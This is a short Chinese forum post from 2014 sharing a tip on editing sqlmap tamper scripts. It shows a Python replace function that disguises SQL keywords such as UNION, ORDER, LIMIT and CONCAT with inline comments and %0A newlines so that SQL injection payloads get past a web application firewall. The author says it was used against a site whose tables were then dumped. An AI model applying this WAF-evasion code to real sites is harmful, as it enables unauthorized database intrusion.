关于sqlmap的tamper一点心得

2014-07-03 11:13:42 67 5566 7


看到论坛里一些文章写过关于sqlmap的tamper的,也许是sqlmap太好用了的原因吧,不乏一些人去翻译搜集整理它的一些东西,有人就把tamper目录下面的所有脚本进行了搜集整理。还有做成excel表格方便查阅的。
     前一段我在做一个站的时候,遇到了waf,防护还挺严,sqlmap跑不出来,手工测试发现很多关键字被过滤了,顺便研究了一下tamper下的脚本,可惜没有针对这个防火墙的。
     经过测试,我只是需要将一些关键字替换掉,用burp当然可以,这是另一个神器了,可惜本人太懒,还是让sqlmap干舒服。发现tamper下有个concat2concatws.py这个脚本,大家先看下关键内容
   
  if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

     这个是防止concat被过滤,将其替换成CONCAT_WS函数的,我就依葫芦画瓢,添加了我这个的关键字
   
 if payload:
        payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
        payload = payload.replace("ASCII(", "ASCII/**/(")
        payload = payload.replace("VARCHAR(", "VARCHAR/**/(")
        payload = payload.replace("CHR(", "CHR/**/(")
        payload = payload.replace("(SELECT", "( SELECT")
        payload = payload.replace("UNION", "UNION%0A")
        payload = payload.replace("ORDER", "ORDER%0A")
        payload = payload.replace("EXISTS", "EXISTS%0A")
        payload = payload.replace("LIMIT", "LIMIT%0A")
    return payload

       实际看一下效果,见证奇迹的时刻到了!!!
      

    上图是跑表的过程。
    上面只是绕过这个防火墙的部分语句,当然大家可以自己写py文件,也可以像我这样偷懒。这个只是替换只是抛砖引玉,希望大家都来晒晒自己的心得

关于作者

yuchan30篇文章425篇回复

评论67次

要评论?请先  登录  或  注册